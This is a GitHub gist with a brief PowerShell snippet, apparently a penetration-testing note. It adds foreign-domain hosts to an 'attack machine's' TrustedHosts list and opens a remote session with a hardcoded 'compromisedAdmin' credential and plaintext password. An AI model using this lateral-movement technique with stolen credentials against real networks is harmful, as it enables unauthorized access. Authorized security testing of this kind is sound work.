Skip to content

Instantly share code, notes, and snippets.

@chriselgee
Last active July 16, 2024 20:17
Show Gist options
  • Save chriselgee/c86da22a91450a309d3a920b24588ee9 to your computer and use it in GitHub Desktop.
Save chriselgee/c86da22a91450a309d3a920b24588ee9 to your computer and use it in GitHub Desktop.
Enter-PSSession from outside a domain
# Tell the attack machine to trust these hosts on a foreign domain
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "ws01.example.com,sql02.example.com"
# Enter the credentials to use when connecting
$username = "example.com\compromisedAdmin"
$pass = "Luggage=12345"
$fancypass = ConvertTo-SecureString $pass -AsPlainText -Force
$dacred = New-Object System.Management.Automation.PSCredential ($userName, $fancypass)
# Connect!
Enter-PSSession -ComputerName ws01.example.com -Credential $dacred
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment